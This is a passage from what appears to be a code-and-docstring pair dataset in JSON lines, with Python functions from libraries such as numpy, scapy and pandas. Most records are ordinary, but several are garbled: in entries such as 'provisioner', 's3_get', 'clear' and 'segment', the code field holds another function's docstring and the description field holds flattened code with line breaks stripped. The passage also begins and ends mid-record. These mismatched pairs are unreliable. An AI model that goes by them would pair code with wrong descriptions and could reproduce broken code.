axis (depth).Please refer to the `split` documentation. `dsplit` is equivalentto `split` with ``axis=2``, the array is always split along the thirdaxis provided the array dimension is greater than or equal to 3.See Also--------split : Split an array into multiple sub-arrays of equal size.Examples-------->>> x = np.arange(16.0).reshape(2, 2, 4)>>> xarray([[[ 0., 1., 2., 3.],[ 4., 5., 6., 7.]],[[ 8., 9., 10., 11.],[12., 13., 14., 15.]]])>>> np.dsplit(x, 2)[array([[[ 0., 1.],[ 4., 5.]],[[ 8., 9.],[12., 13.]]]), array([[[ 2., 3.],[ 6., 7.]],[[10., 11.],[14., 15.]]])]>>> np.dsplit(x, np.array([3, 6]))[array([[[ 0., 1., 2.],[ 4., 5., 6.]],[[ 8., 9., 10.],[12., 13., 14.]]]),array([[[ 3.],[ 7.]],[[11.],[15.]]]),array([], shape=(2, 2, 0), dtype=float64)]"} {"code": "def update(self, stat, update_n_src_words=False):\n self.loss += stat.loss\n self.flow_loss += stat.flow_loss\n self.flow_history_loss += stat.flow_history_loss\n self.corefvocab_loss += stat.corefvocab_loss\n self.corefattn_loss += stat.corefattn_loss\n self.num_effective_coref += stat.num_effective_coref\n self.n_words += stat.n_words\n self.n_correct += stat.n_correct\n\n if update_n_src_words:\n self.n_src_words += stat.n_src_words\n", "nl": "Update statistics by suming values with another `Statistics` objectArgs:stat: another statistic objectupdate_n_src_words(bool): whether to update (sum) `n_src_words`or not"} {"code": "def getSTETripletProbability(i,j,k,alpha=1):\n ki = norm(k-i)\n kj = norm(k-j)\n c = -(alpha+1.)/2\n return (1 + ki*ki/alpha )**c / ( (1 + ki*ki/alpha )**c + ( 1 + kj*kj/alpha )**c )\n\n", "nl": "Return the probability of triplet [i,l,j] where a is closer to b than c.Namely:pabc = (1 + || c - a||^2/alpha)**(-(alpha+1)/2)/(2*alpha + || b - a ||^2+|| c - a ||^2)Inputs:(numpy.ndarray) a : numpy array(numpy.ndarray) b : numpy array(numpy.ndarray) c : numpy array(float) alpha : regularization parameter"} {"code": "def get_largest_non_overlapping_entities(candidates, get_span_func):\n final_spans = Span.get_largest_non_overlapping_candidates(\n [get_span_func(candidate) for candidate in candidates])\n\n final_candidates = []\n for span in final_spans:\n for candidate in candidates:\n if span == get_span_func(candidate):\n final_candidates.append(candidate)\n break\n return final_candidates\n", "nl": "This function filters out overlapping entity spansArgs:candidates (iterable): A iterable of candidates to filter based on spanget_span_func (function): A function that accesses the span from each candidateReturns:list: A list of non-overlapping candidates"} {"code": "def provisioner():\n Acquire token for given user\n\n Args:\n client: Client connection\n user: User object\n\n Returns:\n str: Auth token.\n \"\"\"", "nl": "Create dummy manual provisioner.test_provisioner = ProvisionerFixture()test_provisioner.obj.save()yield test_provisioner.objtest_provisioner.destroy()def get_auth_token(_client, _user):"} {"code": "def s3_get(url, temp_file):\n Given a URL, look for the corresponding dataset in the local cache.\n If it's not there, download it. Then return the path to the cached file.\n \"\"\"", "nl": "Pull a file directly from S3.s3_resource = boto3.resource(\"s3\")bucket_name, s3_path = split_s3_path(url)s3_resource.Bucket(bucket_name).download_fileobj(s3_path, temp_file)def http_get(url, temp_file):req = requests.get(url, stream=True)content_length = req.headers.get(\"Content-Length\")total = int(content_length) if content_length is not None else Noneprogress = tqdm(unit=\"B\", total=total)for chunk in req.iter_content(chunk_size=1024):if chunk: # filter out keep-alive new chunksprogress.update(len(chunk))temp_file.write(chunk)progress.close()def get_from_cache(url, cache_dir=None):"} {"code": "def PIPE_DIRS(cls):\n raise NotImplementedError\n", "nl": "Tuple of dirs where pipe could possibly be created**Virtual**, implement in child classes"} {"code": "def _updateSocket(self, socksProxy: str) -> None:\n self.socksProxy = socksProxy\n", "nl": "Hack to override module's use of socket, replacing it withone that uses the supplied SOCKS server.Args:socksProxy (str): SOCKS proxy"} {"code": "def run(self):\n if self.short_circuit():\n return\n if self.full:\n prev = -1\n while self.changes != prev:\n prev = self.changes\n self.run_step()\n else:\n self.run_step()\n self.debug(\"COMPLETE\")\n", "nl": "Run for an appropriate number of steps to improve the current value.If self.full is True, will run until no further improvements canbe found."} {"code": "def _read_raw_data_file(cls, filename):\n\n `line_data` is a dictionary mapping file names to dictionaries::\n\n { filename: { lineno: None, ... }, ...}\n\n \"\"\"", "nl": "Read the raw data from a file, for debugging.with cls._open_for_reading(filename) as f:return cls._read_raw_data(f)#### Writing data##def add_lines(self, line_data):Add measured line data."} {"code": "def update_margins(self, index):\n item = self._root_item if index < 0 else self._layout_items[index]\n old = item._margin_cache\n new = item.margin_constraints()\n item._margin_cache = new\n self._replace(old, new)\n", "nl": " Update the margins for the given layout item.The solver will be updated to reflect the item's new margins.This may change the computed min/max/best size of the system.Parameters----------index : intThe index of the item in the list of layout items whichwas provided in the call to 'set_items'. A value of -1can be given to indicate the root item."} {"code": "def spacydoc2is_overlap(spacy_doc, token_set, sent_length, lower=False):\n if lower:\n token_set = [token.lower() for token in token_set]\n is_overlap_padded = np.zeros([sent_length], dtype=np.float32)\n if lower:\n is_overlap = [float(token.text.lower() in token_set) for token in spacy_doc]\n else:\n is_overlap = [float(token.text in token_set) for token in spacy_doc]\n is_overlap_padded[:min(len(is_overlap), sent_length)] = \\\n is_overlap[:sent_length]\n return is_overlap_padded\n\n", "nl": "Transform spaCy doc to a list of 1/0, where 1 indicates the tokenshows up in a token_set, and 0 means it doesn't show up in token_set.:param spacy_doc: a spaCy doc:param token_set: a set of tokens:param sent_length: maximum length (number of words) of input text:return: list of token overlap feature values"} {"code": "def find_eggs_in_zip(importer, path_item, only=False):\n if importer.archive.endswith('.whl'):\n return\n metadata = EggMetadata(importer)\n if metadata.has_metadata('PKG-INFO'):\n yield Distribution.from_filename(path_item, metadata=metadata)\n if only:\n return\n for subitem in metadata.resource_listdir(''):\n if _is_egg_path(subitem):\n subpath = os.path.join(path_item, subitem)\n dists = find_eggs_in_zip(zipimport.zipimporter(subpath), subpath)\n for dist in dists:\n yield dist\n elif subitem.lower().endswith('.dist-info'):\n subpath = os.path.join(path_item, subitem)\n submeta = EggMetadata(zipimport.zipimporter(subpath))\n submeta.egg_info = subpath\n yield Distribution.from_location(path_item, subitem, submeta)\n\n\nregister_finder(zipimport.zipimporter, find_eggs_in_zip)\n\n", "nl": "Find eggs in zip files; possibly multiple nested eggs."} {"code": "def segment(self):\n return self.alignment.matching_function_bestpath(self.idx)\n", "nl": "Matched segment in series.start = self.alignment.matching_function_startpoint(self.idx)end = self.alignment.matching_function_endpoint(self.idx)return [start, end]@propertydef path(self):Matched path in series"} {"code": "def clear(self, figure):\n Update the view limits and position for each axes from the current\n stack position. If any axes are present in the figure that aren't in\n the current stack position, use the home view limits for those axes and\n don't update *any* positions.\n \"\"\"", "nl": "Reset the axes stackif figure in self.views:self.views[figure].clear()self.positions[figure].clear()self.home_views[figure].clear()self.update_home_views()def update_view(self):"} {"code": "def test_vague_return_value(self):", "nl": " Test that vague ndpointer return values do not promote to arrays arr = np.zeros((2, 3))ptr_type = ndpointer(dtype=arr.dtype)c_forward_pointer.restype = ptr_typec_forward_pointer.argtypes = (ptr_type,)ret = c_forward_pointer(arr)assert_(isinstance(ret, ptr_type))@pytest.mark.skipif(ctypes is None,reason=\"ctypes not available on this python installation\")class TestAsArray(object):def test_array(self):from ctypes import c_intpair_t = c_int * 2a = as_array(pair_t(1, 2))assert_equal(a.shape, (2,))assert_array_equal(a, np.array([1, 2]))a = as_array((pair_t * 3)(pair_t(1, 2), pair_t(3, 4), pair_t(5, 6)))assert_equal(a.shape, (3, 2))assert_array_equal(a, np.array([[1, 2], [3, 4], [5, 6]]))def test_pointer(self):from ctypes import c_int, cast, POINTERp = cast((c_int * 10)(*range(10)), POINTER(c_int))a = as_array(p, shape=(10,))assert_equal(a.shape, (10,))assert_array_equal(a, np.arange(10))a = as_array(p, shape=(2, 5))assert_equal(a.shape, (2, 5))assert_array_equal(a, np.arange(10).reshape((2, 5)))# shape argument is requiredassert_raises(TypeError, as_array, p)def test_struct_array_pointer(self):from ctypes import c_int16, Structure, pointerclass Struct(Structure):_fields_ = [('a', c_int16)]Struct3 = 3 * Structc_array = (2 * Struct3)(Struct3(Struct(a=1), Struct(a=2), Struct(a=3)),Struct3(Struct(a=4), Struct(a=5), Struct(a=6)))expected = np.array([[(1,), (2,), (3,)],[(4,), (5,), (6,)],], dtype=[('a', np.int16)])def check(x):assert_equal(x.dtype, expected.dtype)assert_equal(x, expected)# all of these should be equivalentcheck(as_array(c_array))check(as_array(pointer(c_array), shape=()))check(as_array(pointer(c_array[0]), shape=(2,)))check(as_array(pointer(c_array[0][0]), shape=(2, 3)))def test_reference_cycles(self):# related to gh-6511import ctypes# create array to work with# don't use int/long to avoid running into bpo-10746N = 100a = np.arange(N, dtype=np.short)# get pointer to arraypnt = np.ctypeslib.as_ctypes(a)with np.testing.assert_no_gc_cycles():# decay the array above to a pointer to its first elementnewpnt = ctypes.cast(pnt, ctypes.POINTER(ctypes.c_short))# and construct an array using this datab = np.ctypeslib.as_array(newpnt, (N,))# now delete both, which should cleanup both objectsdel newpnt, bdef test_segmentation_fault(self):arr = np.zeros((224, 224, 3))c_arr = np.ctypeslib.as_ctypes(arr)arr_ref = weakref.ref(arr)del arr# check the reference wasn't cleaned upassert_(arr_ref() is not None)# check we avoid the segfaultc_arr[0][0][0]@pytest.mark.skipif(ctypes is None,reason=\"ctypes not available on this python installation\")class TestAsCtypesType(object): Test conversion from dtypes to ctypes types "} {"code": "def tearDown(self):\n unittest.TestCase.tearDown(self)\n", "nl": "called once at the end of this test class"} {"code": "def in6_getRandomizedIfaceId(ifaceid, previous=None):\n\n s = []\n if previous is None:\n d = list(range(256))\n for i in range(8):\n s.append(random.choice(d))\n s = bytes(s)\n previous = s\n s = inet_pton(socket.AF_INET6, \"::\"+ifaceid)[8:] + previous\n import hashlib\n s = hashlib.md5(s).digest()\n s1,s2 = s[:8],s[8:]\n s1 = bytes([(s1[0]) | 0x04]) + s1[1:]\n s1 = inet_ntop(socket.AF_INET6, b\"\\xff\"*8 + s1)[20:]\n s2 = inet_ntop(socket.AF_INET6, b\"\\xff\"*8 + s2)[20:]\n return (s1, s2)\n\n\n_rfc1924map = [ '0','1','2','3','4','5','6','7','8','9','A','B','C','D','E',\n 'F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T',\n 'U','V','W','X','Y','Z','a','b','c','d','e','f','g','h','i',\n 'j','k','l','m','n','o','p','q','r','s','t','u','v','w','x',\n 'y','z','!','\n '>','?','@','^','_','`','{','|','}','~' ]\n", "nl": "Implements the interface ID generation algorithm described in RFC 3041.The function takes the Modified EUI-64 interface identifier generatedas described in RFC 4291 and an optional previous history value (thefirst element of the output of this function). If no previous interfaceidentifier is provided, a random one is generated. The function returnsa tuple containing the randomized interface identifier and the historyvalue (for possible future use). Input and output values are provided ina \"printable\" format as depicted below.ex:>>> in6_getRandomizedIfaceId('20b:93ff:feeb:2d3')('4c61:76ff:f46a:a5f3', 'd006:d540:db11:b092')>>> in6_getRandomizedIfaceId('20b:93ff:feeb:2d3',previous='d006:d540:db11:b092')('fe97:46fe:9871:bd38', 'eeed:d79c:2e3f:62e')"} {"code": "defined and `elasticsearch.enable_aggregations` setting is true.\n", "nl": "from nefertari.elasticsearch import ESif aggregator is None:aggregator = ESAggregatoraggregations_enabled = (ES.settings and ES.settings.asbool('enable_aggregations'))if not aggregations_enabled:log.debug('Elasticsearch aggregations are not enabled')returnindex = getattr(self, 'index', None)index_defined = index and index != self.not_allowed_actionif index_defined:self.index = aggregator(self).wrap(self.index)def get_collection_es(self): Query ES collection and return results."} {"code": "def atoms(self):\n\n atoms = set()\n for res in self._residues.structures:\n atoms.update(res._atoms.structures)\n return StructureSet(*atoms)\n\n\n\nclass Ligand(Molecule, Het, metaclass=StructureClass):\n \"\"\"A small molecule, usually associated with a polymer chain.\n", "nl": "Returns all the atoms in with the chain.:rtype: ``set``"} {"code": "def columns(self):\n\n Args:\n value (object)\n\n Returns:\n dict[Column, object]\n \"\"\"", "nl": "Return a list of ORMColumns.return self._columns@abstractmethoddef to_row(self, value):Convert object into database row."} {"code": "def write_data(self, chunksize, dropna=False):\n\n names = self.dtype.names\n nrows = self.nrows_expected\n\n masks = []\n if dropna:\n\n for a in self.values_axes:\n\n mask = isna(a.data).all(axis=0)\n if isinstance(mask, np.ndarray):\n masks.append(mask.astype('u1', copy=False))\n\n if len(masks):\n mask = masks[0]\n for m in masks[1:]:\n mask = mask & m\n mask = mask.ravel()\n else:\n mask = None\n\n indexes = [a.cvalues for a in self.index_axes]\n nindexes = len(indexes)\n bindexes = []\n for i, idx in enumerate(indexes):\n\n if i > 0 and i < nindexes:\n repeater = np.prod(\n [indexes[bi].shape[0] for bi in range(0, i)])\n idx = np.tile(idx, repeater)\n\n if i < nindexes - 1:\n repeater = np.prod([indexes[bi].shape[0]\n for bi in range(i + 1, nindexes)])\n idx = np.repeat(idx, repeater)\n\n bindexes.append(idx)\n\n values = [a.take_data() for a in self.values_axes]\n values = [v.transpose(np.roll(np.arange(v.ndim), v.ndim - 1))\n for v in values]\n bvalues = []\n for i, v in enumerate(values):\n new_shape = (nrows,) + self.dtype[names[nindexes + i]].shape\n bvalues.append(values[i].reshape(new_shape))\n\n if chunksize is None:\n chunksize = 100000\n\n rows = np.empty(min(chunksize, nrows), dtype=self.dtype)\n chunks = int(nrows / chunksize) + 1\n for i in range(chunks):\n start_i = i * chunksize\n end_i = min((i + 1) * chunksize, nrows)\n if start_i >= end_i:\n break\n\n self.write_data_chunk(\n rows,\n indexes=[a[start_i:end_i] for a in bindexes],\n mask=mask[start_i:end_i] if mask is not None else None,\n values=[v[start_i:end_i] for v in bvalues])\n", "nl": " we form the data into a 2-d including indexes,values,maskwrite chunk-by-chunk "} {"code": "def _get_skill_id(self):\n new_settings_display = False\n self.settings_display = SettingsDisplay(\n self.skill.id,\n self.display_data\n )\n self.settings_display.id = (\n self.settings_display_repo.get_settings_display_id(\n self.settings_display\n )\n )\n if self.settings_display.id is None:\n self.settings_display.id = self.settings_display_repo.add(\n self.settings_display\n )\n new_settings_display = True\n\n return new_settings_display\n", "nl": "Get the id of the skill in the requestskill_global_id = (self.display_data.get('skill_gid') orself.display_data.get('identifier'))skill_repo = SkillRepository(self.db)skill_id = skill_repo.ensure_skill_exists(skill_global_id)self.skill = Skill(skill_global_id, skill_id)def _ensure_settings_display_exists(self) -> bool:If the settings display changed, a new row needs to be added."} {"code": "def deleteItem(self, tHandle=None, alreadyAsked=False, bulkAction=False):\n if not self.mainGui.hasProject:\n logger.error(\"No project open\")\n return False\n\n if not self.hasFocus() and not bulkAction:\n logger.info(\"Delete action blocked due to no widget focus\")\n return False\n\n if tHandle is None:\n tHandle = self.getSelectedHandle()\n\n if tHandle is None:\n logger.error(\"There is no item to delete\")\n return False\n\n trItemS = self._getTreeItem(tHandle)\n nwItemS = self.theProject.tree[tHandle]\n\n if trItemS is None or nwItemS is None:\n logger.error(\"Could not find tree item for deletion\")\n return False\n\n wCount = self._getItemWordCount(tHandle)\n autoFlush = not bulkAction\n if nwItemS.itemType == nwItemType.ROOT:\n logger.debug(\"User requested a root folder '%s' deleted\", tHandle)\n tIndex = self.indexOfTopLevelItem(trItemS)\n if trItemS.childCount() == 0:\n self.takeTopLevelItem(tIndex)\n self._deleteTreeItem(tHandle)\n self._alertTreeChange(tHandle=tHandle, flush=True)\n else:\n self.mainGui.makeAlert(self.tr(\n \"Cannot delete root folder. It is not empty. \"\n \"Recursive deletion is not supported. \"\n \"Please delete the content first.\"\n ), nwAlert.ERROR)\n return False\n\n elif nwItemS.itemType == nwItemType.FOLDER and trItemS.childCount() == 0:\n logger.debug(\"User requested an empty folder '%s' deleted\", tHandle)\n trItemP = trItemS.parent()\n tIndex = trItemP.indexOfChild(trItemS)\n trItemP.takeChild(tIndex)\n self._deleteTreeItem(tHandle)\n self._alertTreeChange(tHandle=tHandle, flush=autoFlush)\n\n else:\n logger.debug(\"User requested a file or folder '%s' deleted\", tHandle)\n trItemP = trItemS.parent()\n trItemT = self._addTrashRoot()\n if trItemP is None or trItemT is None:\n logger.error(\"Could not delete item\")\n return False\n\n if self.theProject.tree.isTrash(tHandle):\n doPermanent = False\n if not alreadyAsked:\n msgYes = self.mainGui.askQuestion(\n self.tr(\"Delete\"),\n self.tr(\"Permanently delete '{0}'?\").format(nwItemS.itemName)\n )\n if msgYes:\n doPermanent = True\n else:\n doPermanent = True\n\n if doPermanent:\n logger.debug(\"Permanently deleting item with handle '%s'\", tHandle)\n\n self.propagateCount(tHandle, 0)\n tIndex = trItemP.indexOfChild(trItemS)\n trItemC = trItemP.takeChild(tIndex)\n for dHandle in reversed(self.getTreeFromHandle(tHandle)):\n if self.mainGui.docEditor.docHandle() == dHandle:\n self.mainGui.closeDocument()\n self._deleteTreeItem(dHandle)\n\n self._alertTreeChange(tHandle=tHandle, flush=autoFlush)\n self.projView.wordCountsChanged.emit()\n\n else:\n msgYes = self.mainGui.askQuestion(\n self.tr(\"Delete\"),\n self.tr(\"Move '{0}' to Trash?\").format(nwItemS.itemName),\n )\n if msgYes:\n logger.debug(\"Moving item '%s' to trash\", tHandle)\n\n self.propagateCount(tHandle, 0)\n tIndex = trItemP.indexOfChild(trItemS)\n trItemC = trItemP.takeChild(tIndex)\n trItemT.addChild(trItemC)\n self._postItemMove(tHandle, wCount)\n self._recordLastMove(trItemS, trItemP, tIndex)\n self._alertTreeChange(tHandle=tHandle, flush=autoFlush)\n\n return True\n", "nl": "Delete an item from the project tree. As a first step, files aremoved to the Trash folder. Permanent deletion is a second step. Thissecond step also deletes the item from the project object as well asdelete the files on disk. Root folders are deleted if they're emptyonly, and the deletion is always permanent."} {"code": "def save(self):\n if self.data:\n cookie = self.create_cookie()\n cookie_len = len(cookie)\n\n if cookie_len > 4093:\n raise SessionError('Cookie too long! The cookie size {0} '\n 'is more than 4093 bytes.'\n .format(cookie_len))\n\n self.adapter.set_header('Set-Cookie', cookie)\n\n self._data = {}\n", "nl": "Adds the session cookie to headers."} {"code": "def caeser2(msg, shift):\n cipher_text = \"\"\n for ch in msg:\n if ch.isalpha():\n stay_in_alphabet = ord(ch) + shift\n if stay_in_alphabet > ord('z'):\n stay_in_alphabet -= 26\n cipher_text += chr(stay_in_alphabet)\n return cipher_text\n", "nl": "caeser cipher jumbles text by bit shifting - longer version"} {"code": "def setup_scenario(self, scenario_def):\n errors = super(TestSpec, self).allowable_errors(op)\n if op[\"name\"] == \"updateOne\":\n errors += (ValueError,)\n return errors\n\n", "nl": "Override a test's setup.key_vault_data = scenario_def[\"key_vault_data\"]encrypted_fields = scenario_def[\"encrypted_fields\"]json_schema = scenario_def[\"json_schema\"]data = scenario_def[\"data\"]coll = client_context.client.get_database(\"keyvault\", codec_options=OPTS)[\"datakeys\"]coll.delete_many({})if key_vault_data:coll.insert_many(key_vault_data)db_name = self.get_scenario_db_name(scenario_def)coll_name = self.get_scenario_coll_name(scenario_def)db = client_context.client.get_database(db_name, codec_options=OPTS)coll = db.drop_collection(coll_name, encrypted_fields=encrypted_fields)wc = WriteConcern(w=\"majority\")kwargs: Dict[str, Any] = {}if json_schema:kwargs[\"validator\"] = {\"$jsonSchema\": json_schema}kwargs[\"codec_options\"] = OPTSif not data:kwargs[\"write_concern\"] = wcif encrypted_fields:kwargs[\"encryptedFields\"] = encrypted_fieldsdb.create_collection(coll_name, **kwargs)coll = db[coll_name]if data:# Load data.coll.with_options(write_concern=wc).insert_many(scenario_def[\"data\"])def allowable_errors(self, op):Override expected error classes."} {"code": "def __init__(self, control):\n Emitter.__init__(self, control)\n", "nl": "Emitter initialization@param control: ControlStage object, used to access data from other stages"} {"code": "def update_code_context(self):\n new_topvisible = self.editwin.getlineno(\"@0,0\")\n if self.topvisible == new_topvisible:\n return\n if self.topvisible < new_topvisible:\n lines, lastindent = self.get_context(new_topvisible,\n self.topvisible)\n while self.info[-1][1] >= lastindent:\n del self.info[-1]\n else:\n stopindent = self.info[-1][1] + 1\n while self.info[-1][0] >= new_topvisible:\n stopindent = self.info[-1][1]\n del self.info[-1]\n lines, lastindent = self.get_context(new_topvisible,\n self.info[-1][0]+1,\n stopindent)\n self.info.extend(lines)\n self.topvisible = new_topvisible\n context_strings = [x[2] for x in self.info[-self.context_depth:]]\n showfirst = 0 if context_strings[0] else 1\n self.context['height'] = len(context_strings) - showfirst\n self.context['state'] = 'normal'\n self.context.delete('1.0', 'end')\n self.context.insert('end', '\\n'.join(context_strings[showfirst:]))\n self.context['state'] = 'disabled'\n", "nl": "Update context information and lines visible in the context pane.No update is done if the text hasn't been scrolled. If the textwas scrolled, the lines that should be shown in the context willbe retrieved and the context area will be updated with the code,up to the number of maxlines."} {"code": "def motion(self, filename=None):\n\n if self.rec_type == 'fullTimeRecording':\n return False\n\n return self._api.get(endpoints['motion'](self._id),\n filename if filename else 'motion-{}.png'.format(self._id))\n", "nl": "Download recording motionArguments:filename (str, NoneType, bool): Filename (`str`) to save theimage as or ``True`` (`bool`) if you want the response bodyas a return value. You can also leave this out or set it to``None`` or ``False`` and a filename will be generated for you.Return value:Depends on input params.- When ``filename`` is `str`, `NoneType` or ``False``: `True` ifwrite to file was successful, otherwise `NoneType`- When ``filename`` is ``True``: raw response body (`str`)"} {"code": "def sequence(self):\n\n return self._sequence\n\n\n @sequence.setter", "nl": "Returns the sequence associated with the chain. Note that this is thesequence that the molecule actually has in real life - some may bemissing from the actual sequence of residues in the structure.:rtype: ``str``"} {"code": "def list_markets_by_currency(self, currency):\n return [market['MarketName'] for market in self.get_markets()['result']\n if market['MarketName'].lower().endswith(currency.lower())]\n", "nl": "Helper function to see which markets exist for a currency.Endpoint: /public/getmarketsExample ::>>> Bittrex(None, None).list_markets_by_currency('LTC')['BTC-LTC', 'ETH-LTC', 'USDT-LTC']:param currency: String literal for the currency (ex: LTC):type currency: str:return: List of markets that the currency appears in:rtype: list"} {"code": "def test_get(self):\n", "nl": "Test get keyword.self.filter.add(self.query,{'param': 'aaa bbb string_param:val int_param:234'})self.query.assert_has_calls([mock.call.filter('string_field', 'val'),mock.call.filter('int_field', 234),mock.call.filter('field', 'aaa'),mock.call.filter('field', 'bbb')])class NegativeBooleanTest(unittest.TestCase):Test Boolean."} {"code": "def generate_indices(self, f, values=False):\n\n axes = f.axes\n if values:\n axes = (list(range(len(ax))) for ax in axes)\n\n return itertools.product(*axes)\n", "nl": " generate the indicesif values is True , use the axis valuesis False, use the range"} {"code": "def read_sb_data(self):\n buf = self.sbdataq\n self.sbdataq = b''\n return buf\n", "nl": "Return any data available in the SB ... SE queue.Return b'' if no SB ... SE available. Should only be calledafter seeing a SB or SE command. When a new SB command isfound, old unread SB data will be discarded. Don't block."} {"code": "def make_wmata_info(df, engine):\n Calculate the great circle distance between two points\n on the Earth (specified in decimal degrees).\n\n Meant to be applied to a dataframe.\n '''", "nl": "Loads the wmata_info table into the database.print(\"Making new_wmata_info\")df.columns = df.columns.str.lower()df = df.rename(columns={'lat': 'latitude', 'lon': 'longitude'})df = df[['stop_id_or_station_code', 'lines', 'name', 'latitude', 'longitude']]return utils.write_table(df, 'new_wmata_info', engine)def haversine(row):"} {"code": "def profiling(model, use_cuda):\n warmup_epochs = getattr(FLAGS, 'lr_warmup_epochs', 0)\n num_epochs = FLAGS.num_epochs - warmup_epochs\n iters_per_epoch = FLAGS.data_size_train / FLAGS.batch_size\n current_iter = epoch * iters_per_epoch + batch_idx + 1\n if getattr(FLAGS, 'lr_warmup', False) and epoch < warmup_epochs:\n linear_decaying_per_step = FLAGS.lr/warmup_epochs/iters_per_epoch\n for param_group in optimizer.param_groups:\n param_group['lr'] = current_iter * linear_decaying_per_step\n elif FLAGS.lr_scheduler == 'linear_decaying':\n linear_decaying_per_step = FLAGS.lr/num_epochs/iters_per_epoch\n for param_group in optimizer.param_groups:\n param_group['lr'] -= linear_decaying_per_step\n elif FLAGS.lr_scheduler == 'cosine_decaying':\n mult = (\n 1. + math.cos(\n math.pi * (current_iter - warmup_epochs * iters_per_epoch)\n / num_epochs / iters_per_epoch)) / 2.\n for param_group in optimizer.param_groups:\n param_group['lr'] = FLAGS.lr * mult\n else:\n pass\n\n", "nl": "profiling on either gpu or cpuprint('Start model profiling, use_cuda: {}.'.format(use_cuda))if getattr(FLAGS, 'autoslim', False):flops, params = model_profiling(model, FLAGS.image_size, FLAGS.image_size, use_cuda=use_cuda,verbose=getattr(FLAGS, 'profiling_verbose', False))elif getattr(FLAGS, 'slimmable_training', False):for width_mult in sorted(FLAGS.width_mult_list, reverse=True):model.apply(lambda m: setattr(m, 'width_mult', width_mult))print('Model profiling with width mult {}x:'.format(width_mult))flops, params = model_profiling(model, FLAGS.image_size, FLAGS.image_size, use_cuda=use_cuda,verbose=getattr(FLAGS, 'profiling_verbose', False))else:flops, params = model_profiling(model, FLAGS.image_size, FLAGS.image_size, use_cuda=use_cuda,verbose=getattr(FLAGS, 'profiling_verbose', True))return flops, paramsdef lr_schedule_per_iteration(optimizer, epoch, batch_idx=0): function for learning rate scheuling per iteration "} {"code": "def get_default_config(self):", "nl": "Return the default config for the handler"} {"code": "def name(self):\n return self._name\n\n @property", "nl": "[summary]Return the user-defined name of the module."} {"code": "def enumerate(self, start: int = 0) -> AsyncIterable[Tuple[int, T_co]]:\n return aenumerate(self, start)\n", "nl": "Enumerate values received on this stream.Unlike Python's built-in ``enumerate``, this works withasync generators."} {"code": "def test_GLOBAL_REQUEST(self):\n self.conn.ssh_GLOBAL_REQUEST(common.NS(b'TestGlobal') + b'\\xff')\n self.assertEqual(self.transport.packets,\n [(connection.MSG_REQUEST_SUCCESS, b'')])\n self.transport.packets = []\n self.conn.ssh_GLOBAL_REQUEST(common.NS(b'TestData') + b'\\xff' +\n b'test data')\n self.assertEqual(self.transport.packets,\n [(connection.MSG_REQUEST_SUCCESS, b'test data')])\n self.transport.packets = []\n self.conn.ssh_GLOBAL_REQUEST(common.NS(b'TestBad') + b'\\xff')\n self.assertEqual(self.transport.packets,\n [(connection.MSG_REQUEST_FAILURE, b'')])\n self.transport.packets = []\n self.conn.ssh_GLOBAL_REQUEST(common.NS(b'TestGlobal') + b'\\x00')\n self.assertEqual(self.transport.packets, [])\n", "nl": "Test that global request packets are dispatched to the global_*methods and the return values are translated into success or failuremessages."} {"code": "def teardown(self) -> None:\n Handle an unidentified dialogue.\n\n :param oef_search_msg: the oef search message to be handled\n \"\"\"", "nl": "Implement the handler teardown.def _handle_unidentified_dialogue(self, oef_search_msg: OefSearchMessage) -> None:"} {"code": "def _adjust_bode_plot_figure(fig, plot_degrees=False, grid=True, show=True):\n import matplotlib.pyplot as plt\n fig.subplots_adjust(hspace=0.02, top=0.87, right=0.82)\n ax1, ax2 = fig.axes[:2]\n try:\n ax1.legend(loc=\"lower center\", ncol=3, fontsize='small')\n except TypeError:\n leg_ = ax1.legend(loc=\"lower center\", ncol=3)\n leg_.prop.set_size(\"small\")\n plt.setp(ax1.get_xticklabels(), visible=False)\n ax1.set_ylabel('Amplitude')\n minmax1 = ax1.get_ylim()\n ax1.set_ylim(top=minmax1[1] * 5)\n ax1.grid(True)\n ax2.set_xlabel('Frequency [Hz]')\n if plot_degrees:\n ax2.set_ylabel('Phase [degrees]')\n ax2.set_yticks(np.arange(-180, 180, 30))\n ax2.set_yticklabels(np.arange(-180, 180, 30))\n ax2.set_ylim(-180, 180)\n else:\n plt.setp(ax2.get_yticklabels()[-1], visible=False)\n ax2.set_ylabel('Phase [rad]')\n minmax2 = ax2.yaxis.get_data_interval()\n yticks2 = np.arange(minmax2[0] - minmax2[0] % (pi / 2),\n minmax2[1] - minmax2[1] % (pi / 2) + pi, pi / 2)\n ax2.set_yticks(yticks2)\n ax2.set_yticklabels([_pitick2latex(x) for x in yticks2])\n ax2.grid(True)\n\n if show:\n plt.show()\n\n", "nl": "Helper function to do final adjustments to Bode plot figure."} {"code": "def init_logger(name):\n try:\n conf = treadmill.logging.load_logging_conf(name)\n logging.config.dictConfig(conf)\n except configparser.Error:\n import tempfile\n\n with tempfile.NamedTemporaryFile(delete=False, mode='w') as f:\n traceback.print_exc(file=f)\n click.echo('Error parsing log conf: {name}'.format(name=name),\n err=True)\n\n", "nl": "Initialize logger."} {"code": "def _parse_distro_release_content(line):\n matches = _DISTRO_RELEASE_CONTENT_REVERSED_PATTERN.match(\n line.strip()[::-1])\n distro_info = {}\n if matches:\n distro_info['name'] = matches.group(3)[::-1]\n if matches.group(2):\n distro_info['version_id'] = matches.group(2)[::-1]\n if matches.group(1):\n distro_info['codename'] = matches.group(1)[::-1]\n elif line:\n distro_info['name'] = line.strip()\n return distro_info\n\n\n_distro = LinuxDistribution()\n\n", "nl": "Parse a line from a distro release file.Parameters:* line: Line from the distro release file. Must be a unicode stringor a UTF-8 encoded byte string.Returns:A dictionary containing all information items."} {"code": "def install_message_handler(self, handler):", "nl": "Add handler `handler` to the list of message handlers that will be called on all received messages.The handler will be called with the tab context for each message the tab generates.NOTE: Handler call order is not specified!"} {"code": "def get_pr(path):\n Plot PR curves to file.\n pr_ls - List of curve names and list of AUC values and corresponding colors\n filename - In which to save the figure.\n \"\"\"", "nl": " get PR curve from file with open(path) as fin:# remove header linefin.readline()[p, r] = zip(*[map(lambda x: float(x), line.strip().split('\\t')) for line in fin])return p, rNICE_COLORS = [u'#ff7f0e', u'#1f77b4', u'#2ca02c', u'#d62728']NICE_MARKERS = ['o', '^', 's', \"v\"]NICE_LINE_STYLES = [':', '-.', '--', '-']def plot_pr_curve(pr_ls, filename):"} {"code": "def cosine_distance(tensor0, tensor1, keep_axis=None):\n return 1.0 - cosine_similarity(tensor0, tensor1, keep_axis=keep_axis)\n\n", "nl": "Equivalent to:tensor0 = normalize_tensor(tensor0)tensor1 = normalize_tensor(tensor1)return 